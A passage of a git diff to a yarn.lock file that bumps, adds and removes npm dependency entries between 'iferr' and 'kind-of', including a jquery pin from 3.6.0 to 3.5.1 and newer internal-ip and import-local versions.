   integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
 
-iferr@^0.1.5:
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/iferr/-/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501"
-  integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE=
+ignore@^5.1.4:
+  version "5.1.8"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.1.8.tgz#f150a8b50a34289b33e22f5889abd4d8016f0e57"
+  integrity sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==
 
 import-fresh@^2.0.0:
   version "2.0.0"
@@ -3941,13 +3725,13 @@ import-fresh@^2.0.0:
     caller-path "^2.0.0"
     resolve-from "^3.0.0"
 
-import-local@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/import-local/-/import-local-2.0.0.tgz#55070be38a5993cf18ef6db7e961f5bee5c5a09d"
-  integrity sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==
+import-local@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.0.2.tgz#a8cfd0431d1de4a2199703d003e3e62364fa6db6"
+  integrity sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA==
   dependencies:
-    pkg-dir "^3.0.0"
-    resolve-cwd "^2.0.0"
+    pkg-dir "^4.2.0"
+    resolve-cwd "^3.0.0"
 
 imurmurhash@^0.1.4:
   version "0.1.4"
@@ -3966,12 +3750,17 @@ indent-string@^2.1.0:
   dependencies:
     repeating "^2.0.0"
 
+indent-string@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
+  integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==
+
 indexes-of@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/indexes-of/-/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607"
   integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc=
 
-infer-owner@^1.0.3:
+infer-owner@^1.0.4:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
   integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==
@@ -3999,11 +3788,6 @@ inherits@2.0.3:
   resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
   integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
 
-ini@^1.3.4, ini@^1.3.5:
-  version "1.3.8"
-  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
-  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
-
 inline-source-map@~0.6.0:
   version "0.6.2"
   resolved "https://registry.yarnpkg.com/inline-source-map/-/inline-source-map-0.6.2.tgz#f9393471c18a79d1724f863fa38b586370ade2a5"
@@ -4032,18 +3816,20 @@ insert-module-globals@^7.2.1:
     undeclared-identifiers "^1.1.2"
     xtend "^4.0.0"
 
-internal-ip@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/internal-ip/-/internal-ip-4.3.0.tgz#845452baad9d2ca3b69c635a137acb9a0dad0907"
-  integrity sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==
+internal-ip@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/internal-ip/-/internal-ip-6.2.0.tgz#d5541e79716e406b74ac6b07b856ef18dc1621c1"
+  integrity sha512-D8WGsR6yDt8uq7vDMu7mjcR+yRMm3dW8yufyChmszWRjcSHuxLBkR3GdS2HZAjodsaGuCvXeEJpueisXJULghg==
   dependencies:
-    default-gateway "^4.2.0"
-    ipaddr.js "^1.9.0"
+    default-gateway "^6.0.0"
+    ipaddr.js "^1.9.1"
+    is-ip "^3.1.0"
+    p-event "^4.2.0"
 
-interpret@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/interpret/-/interpret-1.4.0.tgz#665ab8bc4da27a774a40584e812e3e0fa45b1a1e"
-  integrity sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==
+interpret@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/interpret/-/interpret-2.2.0.tgz#1a78a0b5965c40a5416d007ad6f50ad27c417df9"
+  integrity sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==
 
 ion-rangeslider@^2.3:
   version "2.3.1"
@@ -4055,21 +3841,26 @@ ionicons@^3:
   resolved "https://registry.yarnpkg.com/ionicons/-/ionicons-3.0.0.tgz#40b8daf4fd7a31150bd002160f66496e22a98c3c"
   integrity sha1-QLja9P16MRUL0AIWD2ZJbiKpjDw=
 
-ip-regex@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-2.1.0.tgz#fa78bf5d2e6913c911ce9f819ee5146bb6d844e9"
-  integrity sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=
+ip-regex@^4.0.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-4.3.0.tgz#687275ab0f57fa76978ff8f4dddc8a23d5990db5"
+  integrity sha512-B9ZWJxHHOHUhUjCPrMpLD4xEq35bUTClHM1S6CBU5ixQnkZmwipwgc96vAd7AAGM9TGHvJR+Uss+/Ak6UphK+Q==
 
-ip@^1.1.0, ip@^1.1.5:
+ip@^1.1.0:
   version "1.1.5"
   resolved "https://registry.yarnpkg.com/ip/-/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a"
   integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=
 
-ipaddr.js@1.9.1, ipaddr.js@^1.9.0:
+ipaddr.js@1.9.1, ipaddr.js@^1.9.1:
   version "1.9.1"
   resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
   integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
 
+ipaddr.js@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-2.0.0.tgz#77ccccc8063ae71ab65c55f21b090698e763fc6e"
+  integrity sha512-S54H9mIj0rbxRIyrDMEuuER86LdlgUg9FSeZ8duQb6CUG2iRrA36MYVQBSprTF/ZeAwvyQ5mDGuNvIPM0BIl3w==
+
 is-absolute-url@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6"
@@ -4080,20 +3871,6 @@ is-absolute-url@^3.0.3:
   resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-3.0.3.tgz#96c6a22b6a23929b11ea0afb1836c36ad4a5d698"
   integrity sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q==
 
-is-accessor-descriptor@^0.1.6:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-  integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-accessor-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-  integrity sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==
-  dependencies:
-    kind-of "^6.0.0"
-
 is-arguments@^1.0.4:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.1.0.tgz#62353031dfbee07ceb34656a6bde59efecae8dd9"
@@ -4116,13 +3893,6 @@ is-bigint@^1.0.1:
   resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.1.tgz#6923051dfcbc764278540b9ce0e6b3213aa5ebc2"
   integrity sha512-J0ELF4yHFxHy0cmSxZuheDOz2luOdVvqjwmEcj8H/L1JHeuEDSDbeRP+Dk9kFVk5RTFzbucJ2Kb9F7ixY2QaCg==
 
-is-binary-path@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898"
-  integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=
-  dependencies:
-    binary-extensions "^1.0.0"
-
 is-binary-path@~2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
@@ -4137,7 +3907,7 @@ is-boolean-object@^1.1.0:
   dependencies:
     call-bind "^1.0.0"
 
-is-buffer@^1.1.0, is-buffer@^1.1.5:
+is-buffer@^1.1.0:
   version "1.1.6"
   resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
   integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==
@@ -4160,49 +3930,17 @@ is-color-stop@^1.0.0:
     rgba-regex "^1.0.0"
 
 is-core-module@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.2.0.tgz#97037ef3d52224d85163f5597b2b63d9afed981a"
-  integrity sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.3.0.tgz#d341652e3408bca69c4671b79a0954a3d349f887"
+  integrity sha512-xSphU2KG9867tsYdLD4RWQ1VqdFl4HTO9Thf3I/3dLEfr0dbPTWKsuCKrgqMljg4nPE+Gq0VCnzT3gr0CyBmsw==
   dependencies:
     has "^1.0.3"
 
-is-data-descriptor@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-  integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
-  dependencies:
-    kind-of "^3.0.2"
-
-is-data-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-  integrity sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==
-  dependencies:
-    kind-of "^6.0.0"
-
 is-date-object@^1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.2.tgz#bda736f2cd8fd06d32844e7743bfa7494c3bfd7e"
   integrity sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g==
 
-is-descriptor@^0.1.0:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-  integrity sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==
-  dependencies:
-    is-accessor-descriptor "^0.1.6"
-    is-data-descriptor "^0.1.4"
-    kind-of "^5.0.0"
-
-is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-  integrity sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==
-  dependencies:
-    is-accessor-descriptor "^1.0.0"
-    is-data-descriptor "^1.0.0"
-    kind-of "^6.0.2"
-
 is-directory@^0.3.1:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
@@ -4213,19 +3951,7 @@ is-docker@^2.0.0:
   resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
   integrity sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==
 
-is-extendable@^0.1.0, is-extendable@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-  integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
-
-is-extendable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-1.0.1.tgz#a7470f9e426733d81bd81e1155264e3a3507cab4"
-  integrity sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==
-  dependencies:
-    is-plain-object "^2.0.4"
-
-is-extglob@^2.1.0, is-extglob@^2.1.1:
+is-extglob@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
   integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
@@ -4252,20 +3978,20 @@ is-generator-function@^1.0.7:
   resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.0.8.tgz#dfb5c2b120e02b0a8d9d2c6806cd5621aa922f7b"
   integrity sha512-2Omr/twNtufVZFr1GhxjOMFPAj2sjc/dKaIqBhvo4qciXfJmITGH6ZGd8eZYNHza8t1y0e01AuqRhJwfWp26WQ==
 
-is-glob@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-3.1.0.tgz#7ba5ae24217804ac70707b96922567486cc3e84a"
-  integrity sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=
-  dependencies:
-    is-extglob "^2.1.0"
-
-is-glob@^4.0.0, is-glob@^4.0.1, is-glob@~4.0.1:
+is-glob@^4.0.1, is-glob@~4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
   integrity sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==
   dependencies:
     is-extglob "^2.1.1"
 
+is-ip@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/is-ip/-/is-ip-3.1.0.tgz#2ae5ddfafaf05cb8008a62093cf29734f657c5d8"
+  integrity sha512-35vd5necO7IitFPjd/YBeqwWnyDWbuLH9ZXQdMfDA8TEo7pv5X8yfrvVO3xbJbLUlERCMvf6X0hTUamQxCYJ9Q==
+  dependencies:
+    ip-regex "^4.0.0"
+
 is-negative-zero@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.1.tgz#3de746c18dda2319241a53675908d8f766f11c24"
@@ -4276,13 +4002,6 @@ is-number-object@^1.0.4:
   resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.4.tgz#36ac95e741cf18b283fc1ddf5e83da798e3ec197"
   integrity sha512-zohwelOAur+5uXtk8O3GPQ1eAcu4ZX3UwxQhUlfFFMNpUd83gXgjbhJh6HmB6LUNV/ieOLQuDwJO3dWJosUeMw==
 
-is-number@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/is-number/-/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-  integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
-  dependencies:
-    kind-of "^3.0.2"
-
 is-number@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
@@ -4293,7 +4012,7 @@ is-obj@^2.0.0:
   resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-2.0.0.tgz#473fb05d973705e3fd9620545018ca8e22ef4982"
   integrity sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==
 
-is-path-cwd@^2.0.0:
+is-path-cwd@^2.0.0, is-path-cwd@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/is-path-cwd/-/is-path-cwd-2.2.0.tgz#67d43b82664a7b5191fd9119127eb300048a9fdb"
   integrity sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==
@@ -4312,7 +4031,17 @@ is-path-inside@^2.1.0:
   dependencies:
     path-is-inside "^1.0.2"
 
-is-plain-object@^2.0.3, is-plain-object@^2.0.4:
+is-path-inside@^3.0.2:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.3.tgz#d231362e53a07ff2b0e0ea7fed049161ffd16283"
+  integrity sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==
+
+is-plain-obj@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-3.0.0.tgz#af6f2ea14ac5a646183a5bbdb5baabbc156ad9d7"
+  integrity sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==
+
+is-plain-object@^2.0.4:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
   integrity sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==
@@ -4332,10 +4061,10 @@ is-resolvable@^1.0.0:
   resolved "https://registry.yarnpkg.com/is-resolvable/-/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
   integrity sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==
 
-is-stream@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
+is-stream@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.0.tgz#bde9c32680d6fae04129d6ac9d921ce7815f78e3"
+  integrity sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==
 
 is-string@^1.0.5:
   version "1.0.5"
@@ -4370,24 +4099,14 @@ is-utf8@^0.2.0:
   resolved "https://registry.yarnpkg.com/is-utf8/-/is-utf8-0.2.1.tgz#4b0da1442104d1b336340e80797e865cf39f7d72"
   integrity sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=
 
-is-windows@^1.0.1, is-windows@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-  integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
-
-is-wsl@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
-  integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
-
-is-wsl@^2.2.0:
+is-wsl@^2.1.1, is-wsl@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
   integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==
   dependencies:
     is-docker "^2.0.0"
 
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
+isarray@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
   integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
@@ -4397,14 +4116,7 @@ isexe@^2.0.0:
   resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
   integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
 
-isobject@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
-  dependencies:
-    isarray "1.0.0"
-
-isobject@^3.0.0, isobject@^3.0.1:
+isobject@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
   integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
@@ -4414,6 +4126,15 @@ isstream@~0.1.2:
   resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
   integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
 
+jest-worker@^26.3.0, jest-worker@^26.6.2:
+  version "26.6.2"
+  resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-26.6.2.tgz#7f72cbc4d643c365e27b9fd775f9d0eaa9c7a8ed"
+  integrity sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^7.0.0"
+
 jquery-knob@^1.2.11:
   version "1.2.11"
   resolved "https://registry.yarnpkg.com/jquery-knob/-/jquery-knob-1.2.11.tgz#f37c39dbc1c7a6a6c12cdb2ed4f6bffb683f10d6"
@@ -4436,10 +4157,10 @@ jquery-ui@^1.12, jquery-ui@^1.12.1:
   resolved "https://registry.yarnpkg.com/jquery-ui/-/jquery-ui-1.12.1.tgz#bcb4045c8dd0539c134bc1488cdd3e768a7a9e51"
   integrity sha1-vLQEXI3QU5wTS8FIjN0+dop6nlE=
 
-"jquery@>= 1.7", jquery@>=1.10, jquery@>=1.5, jquery@>=1.7, "jquery@>=1.7.1 <4.0.0", jquery@^3.4.1, jquery@^3.5.1:
-  version "3.6.0"
-  resolved "https://registry.yarnpkg.com/jquery/-/jquery-3.6.0.tgz#c72a09f15c1bdce142f49dbf1170bdf8adac2470"
-  integrity sha512-JVzAR/AjBvVt2BmYhxRCSYysDsPcssdmTFnzyLEts9qNwmjmu4JTAMYubEfwVOSwpQ1I1sKKFcxhZCI2buerfw==
+jquery@3.5.1, jquery@<3.6, "jquery@>= 1.7", jquery@>=1.10, jquery@>=1.5, jquery@>=1.7, "jquery@>=1.7.1 <4.0.0", jquery@^3.4.1:
+  version "3.5.1"
+  resolved "https://registry.yarnpkg.com/jquery/-/jquery-3.5.1.tgz#d7b4d08e1bfdb86ad2f1a3d039ea17304717abb5"
+  integrity sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==
 
 js-base64@^2.1.8:
   version "2.6.4"
@@ -4499,11 +4220,6 @@ json-stringify-safe@~5.0.1:
   resolved "https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
   integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
 
-json3@^3.3.3:
-  version "3.3.3"
-  resolved "https://registry.yarnpkg.com/json3/-/json3-3.3.3.tgz#7fc10e375fc5ae42c4705a5cc0aa6f62be305b81"
-  integrity sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA==
-
 json5@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
@@ -4518,13 +4234,6 @@ json5@^2.1.2:
   dependencies:
     minimist "^1.2.5"
 
-jsonfile@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb"
-  integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
 jsonparse@^1.2.0:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/jsonparse/-/jsonparse-1.3.1.tgz#3f4dae4a91fac315f71062f8521cc239f1366280"
@@ -4552,30 +4261,16 @@ killable@^1.0.1:
   resolved "https://registry.yarnpkg.com/killable/-/killable-1.0.1.tgz#4c8ce441187a061c7474fb87ca08e2a638194892"
   integrity sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg==
 
-kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^5.0.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==
-
-kind-of@^6.0.0, kind-of@^6.0.2:
+kind-of@^6.0.2:
   version "6.0.3"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
